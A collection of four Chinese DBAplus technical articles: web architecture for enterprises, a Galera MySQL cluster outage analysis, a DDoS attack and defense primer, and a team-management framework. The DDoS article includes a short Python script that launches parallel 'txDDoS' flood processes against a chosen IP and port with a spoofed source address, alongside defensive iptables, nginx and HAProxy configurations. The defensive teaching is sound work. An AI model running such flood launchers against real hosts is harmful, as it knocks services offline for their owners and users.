本文根据DBAplus社群第92期线上分享整理而成。 讲师介绍 战学超 青航数据架构师 曾任职于NEC软件、海尔B2B平台巨商汇,负责企业数据平台构建、B2B电商平台数据管理与搭建。 拥有丰富DBA、系统运维架构经验,擅长数据库、数据平台搭建、私有云部署、自动化运维等。 主题简介: 1、网站系统架构当前现状 2、Web系统主流架构解析 3、互联网技术团队初期组建经验分享 本文主要结合我之前在海尔电商平台和现在公司的一些实际架构经验,综合实际情况和个人的理解,跟大家分享一下搭建Web系统的一些常用的技术架构和应用技巧。 首先要跟大家探讨一个问题,就是当前传统IT企业或是传统企业的IT系统目前的系统架构是怎样的呢? 就我所经历的NEC软件、海尔集团、青岛航空等某种程度上都属于传统企业。我本人也是最近三年在海尔搞电商平台的时候,才更多地接触互联网的思维和技术架构。 我在青岛航空的这一年多时间里以及与青岛其他IT同行讨论时,发现了一个现象:就是目前很多传统企业的技术架构跟互联网企业的技术架构越来越相似了,或是传统企业越来越倾向于互联网的主流技术架构和服务器部署等方式。 虽然传统企业可能没有互联网企业的大流量、数据量,高并发(互联网企业真正大流量高并发的也就那么几家),但是两者在技术架构上的很多方面、方向都是一致的,个人感觉这是一个比较好的现象。传统企业借鉴互联网企业的一些优秀的技术架构和部署方式,可以更好地保障自身的业务系统,提高系统的使用效率等。成熟的开源技术架构也可以为企业节省很多IT成本。 青岛航空有自己的官网,偶尔搞个抢票,促销或是暑运春运,有时候会受到一些网络的恶意攻击。这时虽然流量会陡增,但是在目前的技术架构上完全可以抵挡住。 本文将分析目前主流的一些Web技术架构,可能更适合中小互联网公司或是一些中大型的传统企业,技术好坏关键看与实际情况集合得怎样,希望大家能够有所收获,能够在各自领域架构系统的时候,能有所帮助。 架构总图 接下来进入正题,首先看这张总图: 网络接入层 1防火墙 所有的访问请求(企业内部访问可能除外)都是要经过企业级的防火墙设备。不管是企业自身的机房还是托管的IDC机房,一般最外层都是由防火墙把关所有访问请求。对于一些恶意的木马植入等,防火墙会抵挡住大部分。作为Web架构,最外层一定要选好防火墙,而且防火墙的架构最低一般会选择不同型号的两台。 2安全设备 防火墙之后会接入IPS(入侵防御系统),WAF(Web应用防护系统)。这一块区域主要对网络安全,系统安全做检测和防护的,可以采用商业设备(推荐),资金不足的企业也可以采用开源设备,这里推荐一款开源产品OSSIM,有兴趣的同学可以了解一下。 3负载均衡 经过网络安全防护之后,接下来是我们的硬负载设备(该层可有可无),一般硬负载均衡设备主要有F5,A10,相对比较贵,企业可以根据情况选择。 硬负载接下来一般会有一层软负载(当然软负载和硬负载可以只留一种也可以都有)。软负载层一般也会部署反向代理服务器,用作反向代理,也起到了防护安全的作用。 一般在网络规划上,该层位于DMZ区域,该层之下的服务器位于内网。这块隔离了外部请求和内网的直接交互,安全上有所提高。一般该层的技术选择有Nginx,Apache,Haproxy,LVS等。大部分应该是一Nginx居多,既可以做负载均衡,也可以做反向代理,并且相对而言高并发效率更好。 关于这几者的区别,网上也有很多,有兴趣的同学可以多多比较。其中说明一点的是LVS是工作在网络4层之上仅作分发之用,没有流量的产生,其他三种是工作在7层之上,如果不适用硬负载设备的话,建议使用LVS作为流量转发的负载设备,然后再是Nginx或是Haproxy。Apache在一些传统企业存在或是使用得比较多,也比较稳定。 前端架构 一般在负载均衡后面是挂载的各种各样的应用服务器。在部署应用服务器的时候一般会将静态资源(JS,CSS,图片,文件)等单独一台服务器部署,以减轻应用服务器的带宽和IO,提高访问效率。将这些静态资源部署在静态资源服务器、文件服务器、图片服务器等。一般地如果我们有CDN,会将这些静态资源放在CDN上以提高网络加载速度。常见的文件服务器和图片服务器的技术架构有FastDFS,MogileFS,GraphicsMagick等。 但是中小企业建议直接购买云服务。一是可以减少运维成本,二是可以提高访问的速度,一般云服务都搭配CDN。自己搭建文件或图片服务器的运维成本还是比较高,对技术要求也比较深入。这里大家在架构的时候需要仔细考虑好。 应用服务器 1web应用服务器 应用服务器一般是tomcat,IIS,resin等。一般有一个应用视情况会有多台服务器(最少2台),应用之间要解耦,应用之间的依赖尽量采用接口交互(尽量避免数据库方面dblink等方式)。各位在做应用系统解耦的时候可以参考现在比较流行的服务化,微服务等技术架构如dubbox等,但是需要对开发有一定的了解。虽然我们的团队经历过和正在做dubbox的服务化,但是本人参与不是很多,所以也希望能够向大家多学习。 2消息队列服务器 增加消息队列服务器有以下几点好处: 由于消息队列服务器的速度远高于数据库,能够快速处理并返回数据; 消息队列服务器具有更好的扩展性; 在高并发的情况下,延迟写入数据库,可以有效降低数据库的压力。 消息队列经常用在高并发应用(如抢购),不同系统模块间高速数据交互等。常用的消息队列技术有ActiveMQ,RabbitMQ等,这些技术本身就有很好的集群或是主备机制,并且有监控的页面,非常方便快速扩展和使用。监控在使用的时候,一般需要脚本(CURL获取监控页面的值和监控页面的http staus)或其他方式监控,实现故障自动告警。 3缓存服务器 数据缓存服务器,常有的部署有Memcached,Redis等,目前应该是以Redis居多吧。另外应用应用服务器集群的session问题也常常用到Redis。Redis自身的哨兵模式,集群Cluster(3.0以上版本支持)可以避免单点故障,方便横向和纵向扩展,缓存热点数据提高访问效率,在高并发环境也是经常用到的技术。 这里要注意一下,并不是所有的Web架构都需要消息队列或是数据库缓存,视情况而定,根据系统的并发量和访问量评估。合适自己的才是最好的。 数据库层 1数据库连接池 应用跟数据库之间一般要尽量避免应用直接连接数据库,采用数据库连接池的方式。数据库连接池技术带来的优势有资源复用、更快的相应速度、统一的连接管理、避免连接泄露等好处。常用的有c3p0,dbcp,druid等,这里强烈推荐Druid。 2数据库架构 数据库连接池后面就是数据库了。数据库种类也比较多,常用的有Oracle,MySQL等。当然了,一个系统使用一套数据库,尽量避免多套应用系统使用同一个数据库。 由于数据库的重要性,需要考虑到数据库方案。包括实现数据库的高可用、负载均衡等,有些电商平台还需要实现读写分离,数据库的横向纵向拆分等,以实现复杂的数据库应用。 Oracle的常用架构有RAC,DG(dataguard),而Oracle的成本比较高,所以很多中小企业会选择MySQL。MySQL也有不同的分支和技术方案,如官方版本的MariaDB,PerconaDB等。常用的高可用架构有复制,Cluster,不同分支都有支持,这里我推荐大家使用MariaDB10.0以上的版本,效率相对较高。 MySQL的中间件也比较多,用来支持负载均衡,读写分离,分库分表等。如OneProxy,MyCAT等都是非常优秀的MySQL数据库中间件,建议大家有时间多研究,架构出稳定可靠的数据库集群。 数据库的备份和恢复这里就不单独说了,在下面的灾备方案中统一说明。 3存储设备 一般企业会有专业的存储设备。存储设备的raid选择、主备架构方案等都需要提前架构以及跟存储厂商沟通讨论。作为最关键的设备之一,一定要避免单点故障,否则将导致整个IT系统宕机。 以上是关于常见的Web系统架构的一个概述,以及常用的一些技术方案的说明,有不足之处,请大家多多指教,相互学习。 灾备方案 接下来跟大家介绍关于备份相关的问题。不管传统企业还是互联网,备份一定是一个及其关键重要的工作。没有备份,就意味着系统没有最基本的保障。 常见的灾备方案一般是同城热备,异地灾备的方式,即两地三中心的方式。同城的网络延迟一般可以做到比较小,所以在用实时热备的方式是可行的。将应用服务器、数据库等通过实时同步的方式,数据传输到同城其他机房,实现跨机房的热备。 异地采用延迟备份的方式。将本地机房的备份集通过网络传输传送一份到异地机房实现异地灾备。其中异地灾备是有数据延迟的,一般一天。 不管是应用服务器,还是数据备份的方式都有很多种,因时间限制就不一一跟大家分享了。这里要着重注意的是备份集的测试方案,一定要与灾备方案一起,并根据测试方案严格定时执行,确保备份集的准确性。 其他方面 作为一套完整的IT技术架构方案,其实还有很多方面需要考虑,例如监控方案。我们常用的监控方案有lepus监控数据库、Zabbix、脚本三者结合的方式。通过邮件,阿里大于短信等方式发送报警,日志服务器用于采集和分析日志,如ELK等。还有一般企业会有数据平台用于分析自己数据,这里可以参考我的另一篇文章《数据即金钱,中小企业如何搭建数据平台分得一杯羹?》 另外一般企业为了节省成本会考虑虚拟化,将服务器等硬件资源虚拟化,提高利用率节省企业的成本,进而为企业的私有云搭建奠定基础。以后希望有机会跟大家一起交流虚拟化+私有云的技术方案,这也是我们现在正在着手进行的,很有实践参考意义。 关于互联网创业初期技术团队 上面这些是关于技术方面的架构,接下来的时间简单分享一下关于技术团队初创期间的一些经验教训和想法,欢迎拍砖。 主要以下几点: 以核心业务为中心,初期技术团队不断满足业务需求。避免盲目扩张团队规模和采用过于超强的技术架构,技术架构要匹配业务发展的需求和规模。 建议初期以外包为主,但是核心业务和技术架构必须以自己团队的人为主且不能动摇。要有外包项目结束后能迅速接手的能力。 团队要小而精,扁平化管理,少管理岗,多技术岗,团队要有共同的目标和发展愿景。 传统企业转型互联网尤其要注意,纵使财大气粗,也要精打细算。就个人而言,经历过IT团队短短一年左右的时间从13人到200多号人,业务规划却迟迟没有突破的情况,最终大批裁员,拼命挣扎的一种状态。 友情提醒一下各位,当注意到团队成员工作并不饱和,但同一岗位还有招聘计划时,一定要考虑一下是该招聘还是该减员。 纵观一批批倒下的初创公司,失败的经验教训很值得我们深入研究和学习。 Q&A Q1:如果公司对于it不打算花太多成本,请问如果仅对于企业内部使用erp管理系统的架构 哪些节点可以省掉,哪些又是必须的呢? A1:如果是打算上ERP的话,建议直接购买国内的ERP系统,一般价格相对便宜,功能比较齐全适合国人使用。我本人并没有部署过成型的商业ERP系统,所以对于商业ERP系统这一块不是特别理解。就我们青岛航空而言呢,是购买的oracle的ERP系统,但是呢,只是购买了财务模块,ERP和数据库都是部署在一台机器上,跟其他业务系统如官网等是分开隔离的。另外购买商业ERP系统的时候,供应商在实施的时候,一定要让最好热备(或是冷备)和数据库相关的备份,避免单点故障导致整个公司的ERP系统难以运作影响正常经营。 原文发布时间为:2017-02-17 本文来自云栖社区合作伙伴DBAplus
作者介绍 王晶,中国移动DBA,负责“移动云”业务系统的数据库集成架构设计、运维、优化等工作;擅长技术领域MySQL,获Oracle颁发的“MySQL DBA”官方认证,熟悉MySQL复制结构、MHA、cluster等多种架构及运维优化。 发现故障的时间正值大年初二,在各种铺天盖地的拜年信息和微信红包之中,我发现了手机上的这条告警通知: PROBLEM:Disaster: Galera cluster has node down。我生产环境的Galera集群有一个节点宕机了。 可能有的人不太熟悉MySQL Galera集群,下面先介绍一下出故障的集群信息。 PXC: 我们生产上用的是Percona的一个MySQL分支版本,PerconaXtradb Cluster,简称PXC,这是一个可以实时同步的MySQL集群,基于广播write set和事务验证来实现多节点同时commit,冲突事务回滚的功能。强数据一致性保证。 Galera Replication原理总结: 1. 事务在本地节点执行时采取乐观策略,成功广播到所有节点后再做冲突检测; 2. 检测出冲突时,本地事务优先被回滚; 3. 每个节点独立、异步执行队列中的WS; 4. 事务T在A节点执行成功返回客户端后,其他节点保证T一定会被执行,因此有可能存在延迟,即虚拟同步。 Galera复制的架构图: Galera flow control: Galera是同步复制(虚拟同步)方案,事务在本地节点(客户端提交事务的节点)上提交成功时,其它节点保证执行该事务。在提交事务时,本地节点把事务复制到所有节点,之后各个节点独立异步地进行certification test、事务插入待执行队列、执行事务。然而,由于不同节点之间执行事务的速度不一样,长时间运行后,慢节点的待执行队列可能会越积越长,最终可能导致事务丢失。 Galera内部实现了flow control,作用就是协调各个节点,保证所有节点执行事务的速度大于队列增长速度,从而避免丢失事务。 实现原理很简单。整个Galera Cluster中,同时只有一个节点可以广播消息(数据),每个节点都会获得广播消息的机会(获得机会后也可以不广播),当慢节点的待执行队列超过一定长度后,它会广播一个FC_PAUSE消息,所以节点收到消息后都会暂缓广播消息,直到该慢节点的待执行队列长度减小到一定长度后,Galera Cluster数据同步又开始恢复。 搞清楚上面的背景原理之后,继续说明我的排障过程。 问题描述 1月29日早10点08分接收到Zabbix告警信息,生产环境某子系统数据库集群节点1、2分别报活跃线程数超阀值,而且不断升高。 从业务侧尝试访问了一下该子系统,发现系统页面一直无法正常查询数据及修改数据。登陆服务器查看CPU、IO、内存情况均空闲。说明累计的活跃线程过高,已经影响到业务的正常访问了。 问题分析 1、登陆Zabbix告警节点1、2查看数据库show global status like ‘Threads_running’情况发现Threads_running线程不断增高。 节点1: | Threads_running| 100 | 节点2: | Threads_running| 110 | 2、继续查看节点1、2数据库的show processlist的情况,发现存在很多线程停在wsrep in pre-commit stage状态(这意味着很多线程已经在节点发出commit,但将该SQL发送到其他节点是处于独立异步地进行certification test、事务插入待执行队列的状态)。这里就明了为什么会有活跃线程不断增加了,原来是线程都停留在wsrep in pre-commit stage状态。 3、进一步查找为什么会有线程一直停留在wsrep in pre-commit stage状态,show global status like ‘%wsrep%’,发现1、2节点接受队列并无阻塞,也没有发出流控。 但wsrep_evs_delayed报节点3的4567端口连接延迟。查看节点1、2错误日志发现报“WSREP: (40a252ac, 'tcp://节点2:4567') reconnecting to 67f667d2 (tcp://节点3:4567), attempt 0”。查看节点3的错误日志与wsrep_evs_delayed运行参数则报相反信息,连接节点1和节点2的4567端口延迟。 这里需要解释一下4567端口的作用(wsrep_provider_options中的gmcast.listen_addr项:主要作用是集群内监听组员状态,组员之间的通信(握手,鉴权,广播,写入集的复制)。 此时,问题原因已经明朗了,因为节点3与节点1、2的4567端口一直连接有延迟,所以在节点1、2执行的请求无法及时的复制给节点3执行,导致节点1、2的活跃线程一直执行不完。 节点1: +------------------------------+-------------+ | Variable_name | Value | +------------------------------+-------------+ | wsrep_local_recv_queue | 0 | | wsrep_local_recv_queue_avg | 0.008711 | | wsrep_flow_control_paused | 0.000000 | | wsrep_flow_control_sent | 0 | | wsrep_flow_control_recv | 0 | | wsrep_evs_delayed | 节点3:4567 | +------------------------------+-------------+ 节点2: +------------------------------+-------------+ | Variable_name | Value | +------------------------------+-------------+ | wsrep_local_recv_queue | 0 | | wsrep_local_recv_queue_avg | 0.006193 | | wsrep_flow_control_paused | 0.000000 | | wsrep_flow_control_sent | 0 | | wsrep_flow_control_recv | 0 | | wsrep_evs_delayed |节点3:4567 | +------------------------------+-------------+ 4、因查询数据库状态除wsrep_evs_delayed报连接延迟,其他并无异常现象,初步怀疑是网络原因造成,排查网络后,发现是因核心交换机与接入交换机之间的光模块损坏导致丢包,所以影响部分数据库集群之间的通信,才会出现以上问题。 在网络修复期间,因数据库集群节点3延迟丢包严重,被数据库集群仲裁后踢出了集群,剩余的节点1和节点2在运行了大约半小时后也因延迟丢包严重,出现了脑裂现象。 这时紧急将数据库集群3个节点关闭,然后在每个节点执行mysqld_safe --wsrep-recover命令找出最新事务号节点作为主节点启动,并在故障期间保持单节点运行。待网络故障消除后,逐一启动节点2、3,系统数据库集群恢复正常。 问题回顾 1、 在PXC环境中,如果集群各个节点的通信端口(4567)因为网络的原因出现异常(因为集群节点间通信采用的是同一网段,因此是共性的原因),应及时采取相应措施防止脑裂情况出现。例如上面故障中,因网络原因导致集群节点数从3个变为2个,这时就应该及时地关闭剩余2个节点中的一个节点,让业务只跑在单节点上,还能避免出现脑裂的情况。至少业务不会因此终断。 否则剩余的两个节点很快也会被网络丢包拖垮,会导致整个集群都停止服务,影响业务。当然在非多主的集群中也可以通过设置“SET GLOBAL wsrep_provider_options=’pc.ignore_sb=true’;”来取消集群判断脑裂的情况(多主环境中不建议使用)。 2、可以将wsrep_evs_delayed作为一个监控项进行监控,并结合网络监控进行适当的告警。 原文发布时间为:2017-02-16 本文来自云栖社区合作伙伴DBAplus
五步七招,开启最强DDoS攻防战! 林伟壕 2017-02-15 10:04:52 作者介绍 林伟壕,网络安全DevOps新司机,先后在中国电信和网易游戏从事数据网络、网络安全和游戏运维工作。对Linux运维、虚拟化和网络安全防护等研究颇多,目前专注于网络安全自动化检测、防御系统构建。 本文大纲: 可怕的DDoS DDoS攻击科普 DDoS防护科普 DDoS攻击与防护实践 企业级DDoS清洗系统架构探讨 可怕的DDoS 出于打击报复、敲诈勒索、政治需要等各种原因,加上攻击成本越来越低、效果特别明显等特点,DDoS攻击已经演变成全球性网络安全威胁。 危害 根据卡巴斯基2016Q3的调查报告,DDoS攻击造成61%的公司无法访问其关键业务信息,38%公司无法访问其关键业务,33%的受害者因此有商业合同或者合同上的损失。 趋势 总结起来,现在的DDoS攻击具有以下趋势: 1国际化 现在的DDoS攻击越来越国际化,而我国已经成为仅次于美国的第二大DDoS攻击受害国,而国内来自海外的DDoS攻击源占比也越来越高。 2超大规模化 因为跨网调度流量越来越方便、流量购买价格越来越低廉,现在DDoS攻击流量规模越来越大。特别是2014年底,某云还遭受了高达450Gbps的攻击。 3市场化 市场化势必带来成本优势,现在各种在线DDoS平台、肉鸡交易渠道层出不穷,使得攻击者能以很低的成本发起规模化攻击。针对流量获取方式的对比可以参考下表。 DDoS攻击科普 DDoS的攻击原理,往简单说,其实就是利用TCP/UDP协议规律,通过占用协议栈资源或者发起大流量拥塞,达到消耗目标机器性能或者网络的目的,下面我们先简单回顾TCP“三次握手”与“四次挥手”以及UDP通信流程。 TCP三次握手与四次挥手 TCP建立连接:三次握手 1.client: syn 2.server: syn+ack 3.client: ack TCP断开连接:四次挥手 1.client: fin 2.server: ack 3.server: fin 4.client: ack UDP通信流程 根据上图可发现,UDP通信是无连接、不可靠的,数据是直接传输的,并没有协商的过程。 攻击原理与攻击危害 按照攻击对象的不同,将攻击原理和攻击危害的分析分成3类,分别是攻击网络带宽资源、应用以及系统。 攻击网络带宽资源: 攻击系统资源: 攻击应用资源: DDoS防护科普 攻击防护原理 从TCP/UDP协议栈原理介绍DDoS防护原理: syn flood: 可以在收到客户端第三次握手reset 、第二次握手发送错误的ack,等Client回复Reset,结合信任机制进行判断。 ack flood: 丢弃三次ack,让对方重连:重发syn建立链接,后续是syn flood防护原理;学习正常ack的源,超过阈值后,该ack没有在正常源列表里面就丢弃ack三次,让对方重连:重发syn建立链接,后续是syn flood防护。 udp flood: 不同层面的防护 1按攻击流量规模分类 较小流量: 小于1000Mbps,且在服务器硬件与应用接受范围之内,并不影响业务的: 利用iptables或者DDoS防护应用实现软件层防护。 大型流量: 大于1000Mbps,但在DDoS清洗设备性能范围之内,且小于机房出口,可能影响相同机房的其他业务的:利用iptables或者DDoS防护应用实现软件层防护,或者在机房出口设备直接配置黑洞等防护策略,或者同时切换域名,将对外服务IP修改为高负载Proxy集群外网IP,或者CDN高仿IP,或者公有云DDoS网关IP,由其代理到RealServer;或者直接接入DDoS清洗设备。 超大规模流量: 在DDoS清洗设备性能范围之外,但在机房出口性能之内,可能影响相同机房的其他业务,或者大于机房出口,已经影响相同机房的所有业务或大部分业务的:联系运营商检查分组限流配置部署情况并观察业务恢复情况。 2按攻击流量协议分类 syn/fin/ack等tcp协议包: 设置预警阀值和响应阀值,前者开始报警,后者开始处理,根据流量大小和影响程度调整防护策略和防护手段,逐步升级。 UDP/DNS query等UDP协议包: 对于大部分游戏业务来说,都是TCP协议的,所以可以根据业务协议制定一份TCP协议白名单,如果遇到大量UDP请求,可以不经产品确认或者延迟跟产品确认,直接在系统层面/HPPS或者清洗设备上丢弃UDP包。 http flood/CC等需要跟数据库交互的攻击: 这种一般会导致数据库或者webserver负载很高或者连接数过高,在限流或者清洗流量后可能需要重启服务才能释放连接数,因此更倾向在系统资源能够支撑的情况下调大支持的连接数。相对来说,这种攻击防护难度较大,对防护设备性能消耗很大。 其他: icmp包可以直接丢弃,先在机房出口以下各个层面做丢弃或者限流策略。现在这种攻击已经很少见,对业务破坏力有限。 DDoS攻击与防护实践 自建DDoS平台 现在有开源的DDoS平台源代码,只要有足够机器和带宽资源,随时都能部署一套极具杀伤力的DDoS平台,如下图的第三种方案。 发包工具: 下面提供一款常用DDoS客户端的发包代码,可以看到攻击方式非常丰富,ip、端口、tcp flag、包大小都是自定义的。 ``` def func(): os.system("./txDDoS -a "+type+" -d "+ip+" -y "+port+" -f 0x10 -s 10.10.10.10 -l 1300") if __name__ == "__main__": pool = multiprocessing.Pool(processes=int(nbproc)) for i in xrange(int(nbproc)): pool.apply_async(func) pool.close() pool.join() ``` 讲完了DDoS攻击的实现方式,下面介绍如何从iptables、应用自身和高性能代理等角度去防御DDoS攻击。 iptables防护 sysctl -w net.ipv4.ip_forward=1 &>/dev/null #打开转发 sysctl -w net.ipv4.tcp_syncookies=1 &>/dev/null #打开 syncookie (轻量级预防 DOS 攻击) sysctl -w net.ipv4.netfilter.ip_conntrack_tcp_timeout_established=3800 &>/dev/null #设置默认 TCP 连接最大时长为 3800 秒(此选项可以大大降低连接数) sysctl -w net.ipv4.ip_conntrack_max=300000 &>/dev/n #设置支持最大连接树为 30W(这个根据你的内存和 iptables 版本来,每个 connection 需要 300 多个字节) iptables -N syn-flood iptables -A INPUT -p tcp --syn -j syn-flood iptables -I syn-flood -p tcp -m limit --limit 3/s --limit-burst 6 -j RETURN iptables -A syn-flood -j REJECT #防止SYN攻击 轻量级预防 iptables -A INPUT -i eth0 -p tcp --syn -m connlimit --connlimit-above 15 -j DROP iptables -A INPUT -p tcp -m state --state ESTABLISHED,RELATED -j ACCEPT #防止DOS太多连接进来,可以允许外网网卡每个IP最多15个初始连接,超过的丢弃 应用自身防护 以Nginx为例,限制单个ip请求频率。 http { limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s; //触发条件,所有访问ip 限制每秒10个请求 server { location ~ \.php$ { limit_req zone=one burst=5 nodelay; //执行的动作,通过zone名字对应 } } location /download/ { limit_conn addr 1; // 限制同一时间内1个连接,超出的连接返回503 } } } 高性能代理 Haproxy+keepalived 1Haproxy配置 前端: frontend http bind 10.0.0.20:80 acl anti_DDoS always_true #白名单 acl whiteip src -f /usr/local/haproxy/etc/whiteip.lst #标记非法用户 stick-table type ip size 20k expire 2m store gpc0 tcp-request connection track-sc1 src tcp-request inspect-delay 5s #拒绝非法用户建立连接 tcp-request connection reject if anti_DDoS { src_get_gpc0 gt 0 } 后端: backend xxx.xxx.cn mode http option forwardfor option httplog balance roundrobin cookie SERVERID insert indirect option httpchk GET /KeepAlive.ashx HTTP/1.1\r\nHost:\ server.1card1.cn acl anti_DDoS always_false #白名单 acl whiteip src -f /usr/local/haproxy/etc/whiteip.lst #存储client10秒内的会话速率 stick-table type ip size 20k expire 2m store http_req_rate(10s),bytes_out_rate(10s) tcp-request content track-sc2 src #十秒内会话速率超过50个则可疑 acl conn_rate_limit src_http_req_rate(server.1card1.cn) gt 80 #判断http请求中是否存在SERVERID的cookie acl cookie_present cook(SERVERID) -m found #标记为非法用户 acl mark_as_abuser sc1_inc_gpc0 gt 0 tcp-request content reject if anti_DDoS !whiteip conn_rate_limit mark_as_abuser 2keepalived配置 global_defs { router_id {{ server_id }} } vrrp_script chk_haproxy{ script "/home/proxy/keepalived/{{ project }}/check_haproxy_{{ server_id }}.sh" interval 2 weight -10 } vrrp_instance VI_1 { state {{ role }} interface {{ interface }} virtual_router_id 10{{ tag }} priority {{ value }} advert_int 1 authentication { auth_type PASS auth_pass keepalived_DDoS track_script { chk_haproxy } } virtual_ipaddress { {{ vip }}/24 dev {{ interface }} label {{ interface }}:{{ tag }} } 接入CDN高防IP/公有云智能DDoS防御系统 由于CDN高防IP和公有云智能DDoS防御原理比较相近,都是利用代理或者DNS调度的方式进行“引流->清洗->回注”的防御流程,因此将两者合并介绍。 CDN高防IP: 是针对互联网服务器在遭受大流量的DDoS攻击后导致服务不可用的情况下,推出的付费增值服务,用户可以通过配置高防IP,将攻击流量引流到高防IP,确保源站的稳定可靠。通常可以提供高达几百Gbps的防护容量,抵御一般的DDoS攻击绰绰有余。 公有云智能DDoS防御系统: 如下图,主要由以下几个角色组成: 调度系统:在DDoS分布式防御系统中起着智能域名解析、网络监控、流量调度等作用。 源站:开发商业务服务器。 攻击防护点:主要作用是过滤攻击流量,并将正常流量转发到源站。 后端机房:在DDoS分布式防御系统中会与攻击防护点配合起来,以起到超大流量的防护作用,提供双重防护的能力。 一般CDN或者公有云都有提供邮件、Web系统、微信公众号等形式的申请、配置流程,基本上按照下面的思路操作即可: DDoS攻击处理技巧荟萃 1发现 Rsyslog 流量监控报警 查看/var/log/messages(freebsd),/var/log/syslog(debian),是否有被攻击的信息: *SYN Flood**RST limit xxx to xxx** listen queue limit* 查看系统或者应用连接情况,特别是连接数与系统资源占用情况 netstat -antp | grep -i '业务端口' | wc -l sar -n DEV 2攻击类型分析 Tcpdump+wireshark: 使用Tcpdump实时抓包给wireshark进行解析,有了wireshark实现自动解析和可视化展示,处理效率非一般快。 Tcpdump -i eth0 -w test.pcap 比如通过目标端口和特殊标记识别ssdp flood: udp.dstport == 1900 (udp contains "HTTP/1.1") and (udp contains 0a:53:54:3a) 高效的DDoS攻击探测与分析工具FastNetMon: 也可以使用FastNetMon进行实时流量探测和分析,直接在命令行展示结果,但是如果攻击流量很大,多半是派不上用场了。 攻击溯源: Linux服务器上开启uRPF 反向路径转发协议,可以有效识别虚假源ip,将虚假源ip流量抛弃。另外,使用unicast稀释攻击流量,因为unicast的特点是源-目的=1:n,但消息只会发往离源最近的节点,所以可以把攻击引导到某个节点,确保其他节点业务可用。 对于Input方向的数据包,检查访问控制列表ACL是否允许通过; 按照Unicast RPF检查是否由最优路径抵达; Forwarding Information Base(FIB)查找; 对于Output方向,检查访问控制列表ACL是否允许通过; 转发数据包。 企业级DDoS清洗系统架构探讨 自研 使用镜像/分光(采集)+sflow/netflow(分析)+DDoS清洗设备(清洗)三位一体的架构是目前很多企业采用的防D架构,但是一般只适用于有自己机房或者在IDC业务规模比较大的企业。 如下图所示,在IDC或者自建机房出口下通过镜像/分光采集流量,集中到异常流量监测系统中进行分析,一旦发现异常流量,则与DDoS清洗设备进行联动,下发清洗规则和路由规则进行清洗。 商用 现在很多网络设备厂商/安全厂商都有成体系的流量采集、异常流量检测和清洗产品,比如绿盟、华为等,相关产品在业界都很出名且各有市场,愿意通过采购构建企业DDoS防护体系的企业可以了解、购买相应的产品,这里不多赘述。 至此,DDoS攻击与防御:从原理到实践第一部分介绍完毕,欢迎大家多提真知灼见。 原文发布时间为:2017-02-15 本文来自云栖社区合作伙伴DBAplus
背景 最近我花了很多时间把这几年在团队管理方面的各种实践、学习和思考做了一次汇总。知识来源包括:带团队的实际经验与感悟;在IGT、腾讯和新美大工作期间经历的各种培训和大佬分享;以及二十多本团队管理有关的书籍。 在收集汇总的过程中我并没有找到一个现成的体系将所学到的管理经验很好地归纳到一起,于是决定采用一个自底向上的过程,先是将所有知识打碎,然后重新归类汇总。 我先是列举出了六十多种实践或方法,然后将它们划分成不同模块,并且思考这些模块之间的关系,最终建立一个相对完整且自洽的体系。有了这个体系,我们就能够以更高的视角来看待团队管理中的各种事务,并且有针对性地加以改善。 团队管理图谱 可以将团队管理的整个体系分为两个维度,十个模块。每个模块在两个维度之间有自己的定位,模块之间相互独立且互斥。 这种划分不是绝对的,也可以有三维四维或者更多的模块。目前的图谱是综合了全面性、合理性和易用性之后的结果。 整体图谱如下: 两个维度 从管事到管人: 从定方向到拿结果: 十个模块 下面对十个模块逐个进行描述,每个模块列举出部分关键点,起提示作用。每个团队都会有适合自己的模块内容,关键是要与团队的业务特点和技术架构相匹配。 1时间管理 时间管理重个人,项目管理重协作。时间管理是团队中每个人每天具体做什么事的管理,这是团队效率的基础。团队中每个人都要提升时间管理能力,Leader要起到教练的作用。 要点: 脑外化 番茄工作法 时间日志 GTD 团队工具集 2项目管理 有些敏捷方法比如XP会包含大量技术管理方面的内容,但我倾向于将两者分开来看。项目管理要根据业务发展的情况动态变化,光敏捷开发常用的队形就有看板、SCRUM、XP三种,而技术管理倾向于依靠规范来实现,更加稳定。 要点: 需求评审方法 估时方法 敏捷方法 任务管理 3技术管理 要点: 技术评审规范 代码风格规范 代码管理规范 CodeReview规范 技术债务管理 4流程改进 技术团队管理者的工作是要做到团队管理、业务需求、技术架构三者之间的相互协同。由于多数互联网团队所做的业务都远谈不上成熟,所以支持它的技术团队在管理上也就不会有稳定的状态,持续改进是常态。 要点: Lean & Kaizen PDCA 定量分析 方案收集 5制度建设 按强制程度排列:制度 > 规范 > 方法。制度建设的完善程度体现着团队的严谨性与纪律性。 互联网公司的工作氛围相对自由,但不代表没有规矩。尤其是与产品质量和安全相关的关键环节,必须严加把控。制度要保持最小化且持续有效。 要点: 上线管理 故障响应 值班制度 加班管理 考勤休假 6目标管理 目前主流的管理体系中通常会把目标管理和绩效管理分开来看,OKR偏向目标管理,KPI偏向绩效管理。 要点: 战略制定 维度分解 目标收集 OKR 行动循环 现在为大家介绍一下技术团队如何做中长期的目标管理。在OKR、KPI、SMART等常见理论基础之上,结合实践经验谈一些自己的看法。 三个要点: 团队共享 - 目标制定要讲究上下通透,内部信息透明 划分维度 - 业务、技术、团队管理各方面要整体考虑,平衡发展 循环执行 - 目标拆解成具体行动,形成习惯,持续反馈 团队共享 这里的团队共享有两层含义,一方面要做到上下通透,另一方面要做到信息全明。 上下通透:目标制定的过程不只是简单的自上而下或者自下而上的过程,而是两者要交替进行,最终实现目标与整个团队的深度整合。 信息全明:每一位团队成员都要了解自身目标与同事的目标、组织的目标之间的关系是什么。 在项目管理中我们通常强调团队内部对于工作内容的共享。同样地,团队目标也要充分交流,及时同步,这样才能更好地相互配合,形成合力。 忌: 目标制定只体现出领导层的意志,团队基层没有想法,只重执行; 每个人只关注自己的KPI,对组织整体目标和同事的目标不关心。 划分维度 组织与个人一样是有机体,维持有机体的健康要讲究多元化。团队目标管理与个人目标管理一样要划分多个维度平衡发展。 从某种程度上来说,团队目标要比个人目标更讲究平衡性,这也是团队作为集体的优势所在。 对于技术团队,目标维度划分举例如下: 业务支撑 重点项目 质量与流程 知识沉淀 技术建设 核心架构 支撑系统 优化改进 团队建设 工作方法 内外沟通 人才培养 招聘面试 忌: 只重视业务支撑,忽略技术进步与团队建设; 某个维度的目标主导了绩效考核标准。 循环执行 从中长期的视角来看,达到目标的过程一定是循环式的,而非线性式的。循环执行也分两方面,一方面是习惯化,另一方面是多重反馈。 